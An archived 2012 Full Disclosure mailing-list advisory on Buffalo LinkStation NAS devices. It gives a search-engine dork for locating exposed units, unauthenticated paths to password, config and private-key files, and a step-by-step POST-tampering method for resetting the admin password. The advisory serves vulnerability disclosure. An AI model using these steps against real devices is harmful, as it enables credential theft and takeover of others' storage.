Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Buffalo Technology LinkStation Information Disclosure And Privilege Escalation
From: Hurgel Bumpf <l0rd_lunatic () yahoo com>
Date: Fri, 30 Nov 2012 17:54:06 +0000 (GMT)

Release Date.              30-Nov-2012
Last Update.               -
Vendor Notification Date.  23.Dec.2011 

Product.                   Linkstation & Others

Platform.                  Buffalo Technology
Affected versions.         Including Actual Version

Severity Rating.           Medium
Impact.                    Privilege escalation, Information Disclosure

Attack Vector.             From remote
Solution Status.           Don't use internet function aka. WebAccess
CVE reference.             CVE - not yet assigned

Buffalo doesn't has a security department. They always forwarded me to sales, as they thought the will help me there 
better. Never received any answer. Tried over some other companies to reach Buffalo, but they are not interested in 
I waited one year and nothing happend. So here we go...

Buffalo Linkstation Information Disclosure (Password, Certificate,..)
+ Google Dork 

+--->intitle:"LinkStation - LS-WTGL"  Copyright 2002-2008

(There are better ways to find them..)

[ WebAccess - Accessing shared folders via Browser. Disabled by default. Has to be enabled ]

If you find them online, a WebAccess ist enabled by 99.9%..

No authentication needed to access the files!

+ Permission Settings (read) 
+---> x.x.x.x/modules/webaxs/module/files/perm.conf

+ Username & Password disclosure (htpasswd)
+---> x.x.x.x/modules/webaxs/module/files/password

+ Lighttpd Config
+---> x.x.x.x/modules/webaxs/module/files/lighttpd.conf

+ Lighttpd RSA Private & Public Key
+---> x.x.x.x/modules/webaxs/module/files/host.pem

Buffalo Linkstation Privilege Escalation (Admin Password Reset)

After you cracked the htpassword,  logon with a gained (unprivileged) username and reset the admin password.

To do so just use temperdata or intercept on burp and try to change your password. Enable temper and press the button 
to change your password.

In the POST request just change the User*Name fields with the name "admin". Make sure to keep the gSSS and gRRR as they 
are the "session cookies".
Send the changed values and logon with the admin user again.


   Post Data:
      txtUserEditName[admin]   <--- Replace your username with admin here
      txtUserEditOldName[admin]   <--- Replace your username with admin here
      txtUserEditPassword1st[reset]  <-- Password of your favor
      txtUserEditPassword2nd[reset]  <-- Password of your favor
      hiddenUserEditNameOld[admin]   <--- Replace your username with admin here
   Response Headers:
      Date[Fri, 09 Dec 2011 16:42:13 GMT]
      Server[Apache/1.3.34 (Unix)]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Expires[Thu, 01 Dec 1994 16:00:00 GMT]
      Keep-Alive[timeout=15, max=100]
      Content-Type[text/html; charset=UTF-8]
You can download a firmware Image and unzip it (zip password is all over the internet). There you will find more 
It's just a very bad maintained linux. Bad filepermissions aso..

Buffalo: Your firmware is bad and you should feel bad!


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • Buffalo Technology LinkStation Information Disclosure And Privilege Escalation Hurgel Bumpf (Nov 30)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]